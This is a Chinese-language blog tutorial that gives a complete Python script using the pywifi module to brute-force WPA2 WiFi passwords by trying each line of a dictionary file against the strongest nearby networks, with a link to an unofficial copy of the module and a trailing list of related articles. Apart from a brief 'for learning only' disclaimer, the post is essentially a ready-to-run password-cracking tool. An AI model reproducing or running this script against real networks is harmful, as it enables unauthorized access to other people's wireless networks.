Python利用字典破解WIFI密码的方法


Posted in Python onFebruary 27, 2019

最近看到网上的一些作品,然后进行一些完善。只是用于学习,不要去干坏事哦。程序来源于网,我只是做了一些优化。当然这种方法破解还是有点慢哦。我用的python 3.6.5

既然要破解wifi,那么连接wifi的模块首先要有的,我们要导入pywifi模块。

有些同学可能没有这个,如果直接通过pip安装的话,可能不能用,听说这个wifi模块被停用了,所以大家如果通过pip安装的不行,那么就下载我提供的。

链接:https://pan.baidu.com/s/1rn-5F1CS5UXOTcLh3QAMhg

本地安装方法:

1)下载解压好以后,我们用cmd命令行,进入到你的文件目录

2)使用命令pip install . 注意了(install后面有个点) 

3)然后就会安装了,等一会就可以了。

程序先查找附近的WIFI,然后按信号强度进行排序,然后只取前wificount=5个信号好的。

import pywifi
from pywifi import const #引用一些定义
import time
namelist = []
ssidlist = []
result = [] #存放查询到的WIFI,密码
wificount=5 #查询附近信号最强的5个WIFI,最多5个
def getwifi():
  wifi=pywifi.PyWiFi()#抓取网卡接口
  ifaces=wifi.interfaces()[0]#获取网卡
  ifaces.scan()
  time.sleep(8) 
  bessis = ifaces.scan_results()
  list = []  
  for data in bessis:
    if(data.ssid not in namelist): #去掉重复的WIFI名称
      namelist.append(data.ssid)
      list.append((data.ssid, data.signal))  
  sorted(list, key=lambda st: st[1], reverse=True)
  time.sleep(1)
  n=0
  if len(list) is not 0:
    for item in list:
      if(item[0] not in ssidlist):
        n=n+1
        if n<=wificount:
          ssidlist.append(item[0])
  print(ssidlist)
def testwifi(ssidname,password):
  wifi=pywifi.PyWiFi()#抓取网卡接口
  ifaces=wifi.interfaces()[0]#获取网卡
  ifaces.disconnect()#断开无限网卡连接
  profile=pywifi.Profile()#创建wifi连接文件
  profile.ssid=ssidname#定义wifissid
  profile.auth=const.AUTH_ALG_OPEN#网卡的开放
  profile.akm.append(const.AKM_TYPE_WPA2PSK)#wifi加密算法
  profile.cipher=const.CIPHER_TYPE_CCMP##加密单元
  profile.key=password #wifi密码
  ifaces.remove_all_network_profiles()#删除其他所有配置文件
  tmp_profile=ifaces.add_network_profile(profile)#加载配置文件
  ifaces.connect(tmp_profile)#连接wifi
  time.sleep(5)#5秒内能否连接上
  if ifaces.status()==const.IFACE_CONNECTED:   
    return True    
  else:
    #print("[-]WiFi connection failure!")
    return False
  #ifaces.disconnect()#断开连接
  #time.sleep(1)
  return True
def main():
  getwifi() 
  #ssidlist = ['Oun'] #如果知道WIFI直接写就行了。
  if(len(ssidlist) is not 0):
    path=r"password.txt"
    files=open(path,'r')
    while True:
        if(len(ssidlist) is 0):
          break
        try:
          password =files.readline()
          password=password.strip('\n')
          if not password:
            break
          for item in result: #把已经找到密码的WIFI从查询中删除。
            ssidlist.remove(item[0])
          for ssidname in ssidlist:           
            if(testwifi(ssidname,password)==True):
              result.append((ssidname,password)) #把找到的WIFI密码保存起来
              print('Succ','Current WifiName:',ssidname,'Current Password:',password)
            else:
              print('Fail','Current WifiName:',ssidname,'Current Password:',password)
        except:
          continue
    files.close()
    print("\n","WIFI结果列表:")
    for item in result: #把已经找到密码的WIFI从查询中删除。
      print("")
      print("无线:",item[0])
      print("密码:",item[1])
  else:
    print("没有找到WIFI信号,请重试。")
if __name__ == '__main__':
  main()

总结

以上就是这篇文章的全部内容了,希望本文的内容对大家的学习或者工作具有一定的参考学习价值,谢谢大家对三水点靠木的支持。如果你想了解更多相关内容请查看下面相关链接

Python 相关文章推荐
Python实现七彩蟒蛇绘制实例代码
Jan 16 Python
python使用插值法画出平滑曲线
Dec 15 Python
Python设计模式之原型模式实例详解
Jan 18 Python
Python判断有效的数独算法示例
Feb 23 Python
解决python3中的requests解析中文页面出现乱码问题
Apr 19 Python
Python对HTML转义字符进行反转义的实现方法
Apr 28 Python
linux中如何使用python3获取ip地址
Jul 15 Python
简单了解Python3 bytes和str类型的区别和联系
Dec 19 Python
pytorch 实现cross entropy损失函数计算方式
Jan 02 Python
Python程序控制语句用法实例分析
Jan 14 Python
python读取hdfs并返回dataframe教程
Jun 05 Python
只需要这一行代码就能让python计算速度提高十倍
May 24 Python
pyside+pyqt实现鼠标右键菜单功能
Dec 08 #Python
基于PyQt4和PySide实现输入对话框效果
Feb 27 #Python
python使用PyQt5的简单方法
Feb 27 #Python
Python创建字典的八种方式
Feb 27 #Python
基于wxPython的GUI实现输入对话框(2)
Feb 27 #Python
基于wxPython的GUI实现输入对话框(1)
Feb 27 #Python
Python使用字典的嵌套功能详解
Feb 27 #Python
You might like
修改了一个很不错的php验证码(支持中文)
2007/02/14 PHP
解析PHP获取当前网址及域名的实现代码
2013/06/23 PHP
PHP 过滤页面中的BOM(实现代码)
2013/06/29 PHP
解析php防止form重复提交的方法
2013/07/01 PHP
php实现微信公众平台账号自定义菜单类
2015/10/11 PHP
PHP微信刮刮卡 附微信接口
2016/07/22 PHP
Yii2中hasOne、hasMany及多对多关联查询的用法详解
2017/02/15 PHP
php 截取中英文混合字符串的方法
2018/05/31 PHP
php集成开发环境详解
2019/09/24 PHP
用jscript启动sqlserver
2007/06/21 Javascript
Javascript attachEvent传递参数的办法
2009/12/14 Javascript
javascript 清空form表单中某种元素的值
2009/12/26 Javascript
Jquery 跨域访问 Lightswitch OData Service的方法
2013/09/11 Javascript
当鼠标移动时出现特效的JQuery代码
2013/11/08 Javascript
jquery选择checked在ie8普通模式下的问题
2014/02/12 Javascript
js实现input密码框提示信息的方法(附html5实现方法)
2016/01/14 Javascript
js实现消息滚动效果
2017/01/18 Javascript
angular.JS实现网页禁用调试、复制和剪切
2017/03/31 Javascript
CSS3+JavaScript实现翻页幻灯片效果
2017/06/28 Javascript
微信小程序使用navigateTo数据传递的实例
2017/09/26 Javascript
Angular学习教程之RouterLink花式跳转
2018/05/03 Javascript
NodeJS如何实现同步的方法示例
2018/08/24 NodeJs
JavaScript对象的特性与实践应用深入详解
2018/12/30 Javascript
[31:55]完美世界DOTA2联赛循环赛 IO vs GXR BO2第一场 11.04
2020/11/05 DOTA
Python操作SQLite简明教程
2014/07/10 Python
Python实现更改图片尺寸大小的方法(基于Pillow包)
2016/09/19 Python
PyQt5每天必学之组合框
2018/04/20 Python
python数据持久存储 pickle模块的基本使用方法解析
2019/08/30 Python
python getopt模块使用实例解析
2019/12/18 Python
python Manager 之dict KeyError问题的解决
2019/12/21 Python
pytorch实现保证每次运行使用的随机数都相同
2020/02/20 Python
python如何实现读取并显示图片(不需要图形界面)
2020/07/08 Python
英国复古皮包品牌:Beara Beara
2018/07/18 全球购物
Wallis官网:英国女装零售商
2020/01/21 全球购物
几个MySql的面试题
2013/04/22 面试题
MySQL的InnoDB存储引擎的数据页结构详解
2022/03/03 MySQL